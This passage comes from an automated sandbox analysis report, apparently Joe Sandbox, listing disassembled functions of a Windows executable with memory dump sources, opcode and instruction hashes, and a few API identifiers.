                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                              • Opcode ID: 2617fd8e8f043c0917c6a56c5cabdca8b91b1cd744d59a3c82f21f331bc63c74
                                                                                                                                                                                                                                              • Instruction ID: 3d11812d635613330b211afd2f4bb3744d6d7d714761956cfabfe4ad42b29d43
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2617fd8e8f043c0917c6a56c5cabdca8b91b1cd744d59a3c82f21f331bc63c74
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: EBB13B72908A96C5E7658F39E05026CBBB0FB49F4CF684235DA4E8F395CF2AD851CB44
                                                                                                                                                                                                                                              Function 00007FF666DEE5E0 Relevance: .2, Instructions: 198COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                              • Opcode ID: 73948b09e9837a821f5a3b4bbb106c60bdc2a86aaa707f45330964650836ebfe
                                                                                                                                                                                                                                              • Instruction ID: 0ff10c3a46cd3424d704b98a40a6190093cae87677b25df446343b905c6de6e8
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 73948b09e9837a821f5a3b4bbb106c60bdc2a86aaa707f45330964650836ebfe
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D081A272A087C186E7748B19B48037ABAA1FB85794F544739DA8D8FB99DE3ED4408F00
                                                                                                                                                                                                                                              Function 00007FF666DF6488 Relevance: .2, Instructions: 183COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3215553584-0
                                                                                                                                                                                                                                              • Opcode ID: b78332369169aed8be6dd13cc6d08ed8a401c1151d3c5d6e5b3c154adaf735d2
                                                                                                                                                                                                                                              • Instruction ID: 17674f9077c59bb6e7226858588ea8bb968342734c7a70df57ce694b1f5ac847
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: b78332369169aed8be6dd13cc6d08ed8a401c1151d3c5d6e5b3c154adaf735d2
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 1261C622E0C2D2C6F7648A2AA45467D65B0AF81764F154339EA1DDEFD5DE7FE8008F40
                                                                                                                                                                                                                                              Function 00007FF666DE1DC4 Relevance: .1, Instructions: 146COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                              • Opcode ID: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
                                                                                                                                                                                                                                              • Instruction ID: 96f9cf678df8e6e807d1e04a10bba5c23b72901a3179472046a5700b0a6c86a2
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 39513536B18A92C5E7248B19E444228B7B1EB55F58F244331DA4D9F795CF3BE852CB80
                                                                                                                                                                                                                                              Function 00007FF666DE21D4 Relevance: .1, Instructions: 146COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                              • Opcode ID: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
                                                                                                                                                                                                                                              • Instruction ID: 1563eabe3166b2c894d0291febe5637a9f2b5b950db8ac882716dc72ac91a5d9
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 0A514376A28692C5E7748B29E040229B7B0EB64B5CF245235CE4D9F794CF3BE853CB40
                                                                                                                                                                                                                                              Function 00007FF666DE19B4 Relevance: .1, Instructions: 146COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                              • Opcode ID: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
                                                                                                                                                                                                                                              • Instruction ID: db6c8b7d17bc982db4db64abc97d50dd2c6e5954b1d3ce8d7a0360a334694cee
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 90519276B58A91C2E7248B29E440638B3B1EB45B68F244231CA4D9F795DF3BE857CB40
                                                                                                                                                                                                                                              Function 00007FF666DE1FD0 Relevance: .1, Instructions: 145COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                              • Opcode ID: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
                                                                                                                                                                                                                                              • Instruction ID: ab6d6dff530f3c0e42b875bb47039e40a96634af31262bbb192a2338c07a3aac
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 71516176A18692C5E7258B29E450229B7B1EB54B5CF244231CA4D9F7E8CF3BED42CB40
                                                                                                                                                                                                                                              Function 00007FF666DE17B0 Relevance: .1, Instructions: 145COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                              • Opcode ID: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
                                                                                                                                                                                                                                              • Instruction ID: a0886f7a7479663f552bf9d9d4db932656e6206a8960f6eba94523be744e99d0
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 67516276B18691C6E7658B29E88033CB7B1EB45B58F245231CA4D9F794CF3BE852CB40
                                                                                                                                                                                                                                              Function 00007FF666DE1BC0 Relevance: .1, Instructions: 145COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                              • Opcode ID: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
                                                                                                                                                                                                                                              • Instruction ID: 10fa2eeec863b6d5999af7abb29950ef30b09b2cae06f3802d4df543d5280bd6
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6D516036B18A95C6E7258B29E440268B7B1EB95B58F244231CE4D9F794CF3BE853CB40
                                                                                                                                                                                                                                              Function 00007FF666DE5DA0 Relevance: .1, Instructions: 138COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                              • Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
                                                                                                                                                                                                                                              • Instruction ID: d1ead2b21d19d1ffc1cf85995ea2ede474f9803b71b89091afcf213fe993218c
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F441C972C09BCAC4F9A6892815046B8E6A09F62FE0E5853B4DD9DDF3C3DD0F6987C601
                                                                                                                                                                                                                                              Function 00007FF666DE9F10 Relevance: .1, Instructions: 126COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ErrorFreeHeapLast
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 485612231-0
                                                                                                                                                                                                                                              • Opcode ID: 4700cc90785079b7bb7a0602c46334a4ae9c6cdcc1bc7f68a8ec9cd099c19dcc
                                                                                                                                                                                                                                              • Instruction ID: 1e225b38b36c092cc7089817c4d8b6fdc05f71be5fff43890d221b6bdbf3bec7
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4700cc90785079b7bb7a0602c46334a4ae9c6cdcc1bc7f68a8ec9cd099c19dcc
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 8C41D362718A9582EF04CF2AE914169B3B1FB48FD0B499536EE0DDFB58EE3ED4418700
                                                                                                                                                                                                                                              Function 00007FF666DE8154 Relevance: .1, Instructions: 98COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                              • Opcode ID: 2b8cddb4ee5dd57f1c7573491c8f445712dd312cb7e9e547cfd0f9c072f4c0c7
                                                                                                                                                                                                                                              • Instruction ID: 33af65aa2877a7930388e7f6fb1d694423c782750dd6bb5a507dd1d4e44b80fb
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2b8cddb4ee5dd57f1c7573491c8f445712dd312cb7e9e547cfd0f9c072f4c0c7
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 1031A432B18B82C2E7649F25B84013EA6E5AB85BD0F144339EA5D9FBD5DF3DD0114B04
                                                                                                                                                                                                                                              Function 00007FF666DF95E0 Relevance: .0, Instructions: 32COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                              • Opcode ID: bcf48121633763fd2f6aa1741893fa818c421e56c797f7e3558f0bc07bbc94c0
                                                                                                                                                                                                                                              • Instruction ID: 853171fab749cc03099bdd7a5522e11ee8f7450f606e76a8e89a3d44305f19ce
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: bcf48121633763fd2f6aa1741893fa818c421e56c797f7e3558f0bc07bbc94c0
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 08F06871B18255CADBA88F6DB80262977E0F7483C0F808039E59DCBB04DE3DD4629F04
                                                                                                                                                                                                                                              Function 00007FF666DDD37C Relevance: .0, Instructions: 2COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                              • Opcode ID: e6acc2ec838af36dd9636ef9e1d94249ffac8b7a33868b0b47a68aa66541c0b8
                                                                                                                                                                                                                                              • Instruction ID: d083838f54ac795b71f9fdb6f0aa3d55a8970bcecbdee3f784c5c46ce1d0cadd
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e6acc2ec838af36dd9636ef9e1d94249ffac8b7a33868b0b47a68aa66541c0b8
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 4FA0022594CC0AD4EA549F00F8900352331FB90300B400231E00DCD0F09F3FA400DF00
                                                                                                                                                                                                                                              Function 00007FF666DD76B0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: AddressErrorLastProc
